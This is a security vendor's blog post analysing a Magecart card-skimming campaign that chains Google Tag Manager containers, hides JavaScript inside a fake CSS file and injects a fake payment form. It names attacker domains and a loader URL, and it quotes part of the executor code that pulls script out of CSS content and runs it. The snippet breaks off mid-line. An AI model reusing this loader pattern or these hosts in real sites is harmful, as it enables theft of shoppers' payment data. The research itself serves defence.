New Breed of Magecart: GTMs Working Together, JavaScript Hidden in CSS
by Source Defense
The Source Defense Research team has uncovered another active eSkimming campaign which demonstrates the use of novel techniques, and an increasing adversarial focus on attacking websites with techniques that bypass eSkimming security controls which focus solely on protecting payment pages. This indicates an evolution on the part of our adversaries in terms of sophistication, and a clear response to the controls outlined under PCI DSS 4.0.1.
As eSkimming/Magecart attacks continue to evolve, for the first time, we’re seeing a modular architecture where each Google Tag Manager (GTM) container has a clearly defined, separate role in executing the attack. This is not merely GTM chaining—it’s purpose-built modularization, and it represents a brand-new level of sophistication in eSkimming/Magecart activity.
In this post, we analyze a highly evasive eSkimming attack that leverages not only modular GTMs, but also disguised CSS payloads, DOM-based execution and Websocket data transfer to bypass detection and potentially circumvent insufficient Content Security Policy (CSP) configurations. It should be noted that the reliance on CSP and SRI as eSkimming security controls – and the failures of both – has been warned about extensively by Source Defense, by our competitors, by QSAs/PCI PFIs. Virtually everyone in the know.
The Anatomy of the Modular GTM Attack
This campaign begins with a known GTM container ID: GTM-NSTTR9L. But rather than executing a single payload, this container kicks off a modular infection chain:
- GTM-NSTTR9L loads another container: GTM-KX36TXD.
- GTM-KX36TXD loads two additional GTM containers, each with a specific function:
- GTM-KTZLSGSS: The loader, responsible for fetching the external payload.
- GTM-W33KS5VH: The executor, which locates and runs the embedded malicious code.
This level of modularity—breaking the logic into dedicated GTM roles—is a significant evolution over the previously reported GTM chaining campaigns.
Additionally, GTM-NSTTR9L and GTM-KX36TXD were observed in earlier eSkimmin attacks used in a more straightforward way, loading malicious JavaScript directly from known blacklisted domains like stylewpcoll.com, gohckcss.com, logicloo.com, and logicwploo.com.
The Double-Entry Trick: Fake Payment Forms
As with many eSkimming attacks, this one uses the double-entry technique—silently replacing the legitimate payment form with a fake clone that captures and exfiltrates user input. This is yet another example of the active use of this technique and further evidence that a focus on site wide eSkimming security should be employed vs. simply focusing on payment pages. We warned of this just last week in our blog: “New Magecart Variant Targets UK Retailer in Stealthy Double-Entry Attack” – a key excerpt is posted below:
Why PCI DSS 4.0.1 Falls Short
(A.K.A. – Why the Industry as a Whole Warned LOUDLY against Recent Changes to SAQ-A)
This attack provides a textbook example of why PCI DSS 4.0.1 remains insufficient in countering sophisticated client-side threats. While we are engaged with the community, and supportive of the effort and focus on this major area of fraud, it falls short in the face of adversarial tradecraft. This is precisely why we warned against the changes to SAQ-A which put undo emphasis on securing iFrames – and why we, along with one of the most respected QSACs in the industry (CoalFire) emphasized a need to focus on site wide protection in this whitepaper.
The requirements under PCI DSS 4.0.1 primarily emphasize protection around the payment page, but in far too many cases, adversaries launch their attacks before the user reaches that endpoint.
The threat actor never touches the legitimate payment page—instead, they insert themselves earlier in the process, where traditional detection and compliance frameworks offer little to no visibility or control. As such, organizations that rely solely on PCI DSS adherence risk being blindsided by attacks like these.”
While the technique used here is similar to the campaign we highlighted last week, the delivery and execution mechanisms are far more obfuscated and difficult to trace.
The Loader: Disguising the Payload as CSS
The malicious loader GTM (GTM-KTZLSGSS) fetches a fake CSS file from:
Unset
https://goljsdofma.org/style.css
The response contains no styling rules but instead embeds JavaScript within a CSS content property:
Unset
link.links::before {
content: “malicious code opens the websocket”
}
This content is added to the DOM via a <link> tag with class link.links—making it look like a harmless stylesheet.
The Executor: Extracting and Running the Code
The executor GTM (GTM-W33KS5VH) uses the following logic to retrieve and run the JS embedded in the content:
Unset
(function() {
var b = setInterval(function() {
var a = document.querySelector(“link.links”);
if (!a) return;
a = getComputedStyle(a, “::before”).content;
if (a !== “none”) {
clearInterval(b);
a = a.replace(/^”(.*)”$/, “$1”).replace(/\/g
Previous